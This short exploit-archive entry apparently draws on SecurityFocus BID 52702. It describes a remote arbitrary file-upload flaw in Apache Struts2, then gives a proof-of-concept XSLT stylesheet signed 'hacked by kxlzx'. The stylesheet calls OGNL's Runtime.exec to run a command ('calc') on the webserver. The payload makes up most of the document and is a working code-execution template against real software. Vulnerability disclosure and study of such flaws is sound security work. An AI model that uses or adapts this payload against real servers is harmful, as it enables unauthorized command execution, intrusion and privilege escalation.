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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/52702/info

Apache Struts2 is prone to a remote arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.example.com/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html> 
<body> 
<h2>hacked by kxlzx</h2> 
<h2>http://www.example.com</h2> 
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body> 
</html> 
</xsl:template> 
</xsl:stylesheet>